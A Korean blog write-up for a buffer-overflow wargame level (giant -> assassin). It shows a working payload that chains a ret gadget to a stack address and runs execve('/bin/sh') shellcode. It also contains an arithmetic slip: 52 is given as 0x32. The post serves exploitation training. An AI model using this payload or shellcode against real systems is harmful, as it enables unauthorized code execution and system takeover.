nemo의 이야기
BOF원정대 giant -> assassin 본문
위 소스를 확인하면
1. 스택을 사용할 수 없다.
2. RTL을 사용할 수 없다.
이를 해결 하려면 ret를 이용해서 retrun address의 위치를 바꿔 공격하면 될 것이다.
우선 ret의 주소를 확인해 보자
ret : 804851e이다
그리고 buffer의 주소를 확인해보자
buffer에 주소는 bffffab0라는 것을 확인 할 수 있다.
그리고 쉘코드의 위치를 구하기 위해 52bit를 16진수로 바꾸면 0x32가 된다.
이제 bffffab0 + 0x32를 더하면 => 0xbffffae4가 된다.
그럼 이제 공격 코드를 적성해보자
$(python -c 'print "A" * 44 + "\x1e\x85\x04\x08" + "\xe4\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
공격에 성공한 것을 확인할 수 있다.
'Information security > System security' 카테고리의 다른 글
BOF원정대 zombie_assassin -> succubus (0) | 2018.02.09 |
---|---|
BOF원정대 assassin -> zombie_assassin (0) | 2018.02.08 |
BOF원정대 bugbear -> giant (0) | 2018.01.28 |
BOF원정대 darknight -> bugbear (0) | 2018.01.28 |
BOF원정대 golem -> darknight (0) | 2018.01.28 |
Comments